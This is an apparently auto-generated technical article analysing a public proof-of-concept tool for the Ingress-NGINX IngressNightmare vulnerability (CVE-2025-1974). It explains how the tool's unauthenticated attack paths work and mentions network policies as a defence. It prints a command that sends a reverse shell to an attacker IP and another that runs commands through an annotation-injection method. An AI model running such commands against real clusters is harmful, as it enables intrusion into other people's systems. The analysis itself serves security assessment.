Does IngressNightmare Require Authentication to Exploit? Technical Analysis of CVE-2025-1974

IngressNightmare does not require authentication to exploit the default CVE‑2025‑24514 vulnerability, as it abuses the Ingress‑NGINX admission webhook's handling of malicious auth‑url annotations without needing any credentials.

The esonhugh/ingressnightmare-cve-2025-1974-exps repository contains a proof-of-concept tool that demonstrates critical remote code execution vulnerabilities in Ingress‑NGINX. Understanding whether ingressnightmare requires authentication to exploit is essential for security teams assessing their attack surface, as this determines whether exposed admission webhooks pose an immediate zero-click risk to cluster security.

How the Default Exploit Works Without Authentication

The Auth-URL Injection Vector

According to the source code in [main.go](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) (lines 70‑71), the tool enables the --is-auth-url flag by default. This mode injects a malicious nginx.ingress.kubernetes.io/auth-url annotation into an Ingress object, which the admission webhook evaluates and processes without performing any authentication checks on the incoming request.

The [validate.json](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/validate.json) template (lines 47‑48) demonstrates this payload structure, showing the auth-url annotation containing a malicious URL that causes the webhook to load an attacker-supplied shared library. No secret references, tokens, or certificates appear in this template, confirming that the exploitation happens entirely without authentication.

Core Exploit Execution Flow

In [exploit.go](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), the ExploitMethod struct (lines 21‑26) tracks which attack vector is active, while RenderValidateJSON (lines 39‑50) renders the JSON payload with the selected annotation. The ValidateWebhookSpecificFilePath function (lines 59‑68) transmits this payload directly to the webhook endpoint via HTTP, bypassing any Kubernetes API authentication or authorization layers entirely.

Optional Exploit Methods and Secret Requirements

The Auth-TLS-Match-CN Method

While the default attack requires no authentication, the optional --is-match-cn method does require a valid secret name via the --auth-secret-name parameter (see main.go, lines 72‑75). This auth-tls-match-cn vector manipulates the nginx.ingress.kubernetes.io/auth-tls-match-cn annotation and must reference an existing TLS secret in the target namespace. This attack path is disabled by default and is only viable when the attacker has prior knowledge of specific secret names within the cluster.

The Mirror-With-UID Alternative

The third attack vector, controlled by the IsMirrorWithUID flag (line 73 of main.go), adds a mirror-target annotation without requiring any authentication, secrets, or credentials. This provides an additional no-authentication exploitation path when the auth-url method is unavailable or blocked by policy.

Practical Exploitation Examples

Unauthenticated Reverse Shell Deployment

The following command exploits the default auth-url vulnerability without providing any secrets or authentication tokens:

ingress-nightmare \
  --ingress-webhook-url http://ingress-nginx-controller-admission.ingress-nginx.svc:443 \
  --mode reverse-shell \
  --reverse-shell-ip 10.1.2.3 \
  --reverse-shell-port 4444

This command leverages the logic in exploit.go and the payload generation in [payload.go](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) to deliver a reverse shell once the webhook loads the malicious shared object.

Optional Authenticated Method

To use the auth-tls-match-cn method (which requires knowing a secret name):

ingress-nightmare \
  --is-match-cn \
  --auth-secret-name kube-system/cilium-ca \
  --mode command \
  --command "id"

Both commands rely on the same core exploit flow, but only the second requires any knowledge of cluster internals.

Summary

• Default exploitation via the auth-url annotation requires no authentication and works against exposed admission webhooks immediately upon network access.
• Optional methods like auth-tls-match-cn require the --auth-secret-name parameter referencing existing secrets, but these are not enabled by default.
• The tool abuses webhook validation logic in exploit.go rather than bypassing Kubernetes RBAC or authentication mechanisms.
• All payload generation in payload.go occurs independently of any authentication tokens, service account credentials, or valid Kubernetes sessions.
• The validate.json template contains no credential fields, confirming the unauthenticated nature of the primary attack vector.

Frequently Asked Questions

Can IngressNightmare exploit clusters with strict RBAC policies?

Yes, because the tool targets the Ingress‑NGINX admission webhook directly rather than the Kubernetes API server. As implemented in exploit.go, the ValidateWebhookSpecificFilePath function sends the malicious JSON directly to the webhook endpoint. If this endpoint is network-accessible, the exploit succeeds without requiring Kubernetes authentication, service accounts, or RBAC permissions.

Why does the auth-tls-match-cn method need a secret name?

This optional method manipulates the nginx.ingress.kubernetes.io/auth-tls-match-cn annotation, which must reference an existing TLS secret in the namespace to pass validation. The --auth-secret-name flag (handled in main.go lines 72‑75) provides this reference, but this attack path is disabled by default and only functions when the attacker knows specific secret names, unlike the default unauthenticated method.

Is the mirror-with-uid method also unauthenticated?

Yes. According to main.go line 73, the IsMirrorWithUID flag enables a separate attack vector that injects mirror-target annotations without requiring any secrets, credentials, or authentication tokens. This provides a secondary no-authentication exploitation path when the primary auth-url method is unavailable.

What prevents this attack in properly secured environments?

Network policies that restrict access to the admission webhook endpoint (typically ingress-nginx-controller-admission.ingress-nginx.svc in the ingress-nginx namespace) prevent exploitation entirely. Since the tool must reach this service to deliver the malicious payload defined in validate.json, firewall rules or network segmentation that block external access to the webhook eliminate the attack vector without requiring authentication changes.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}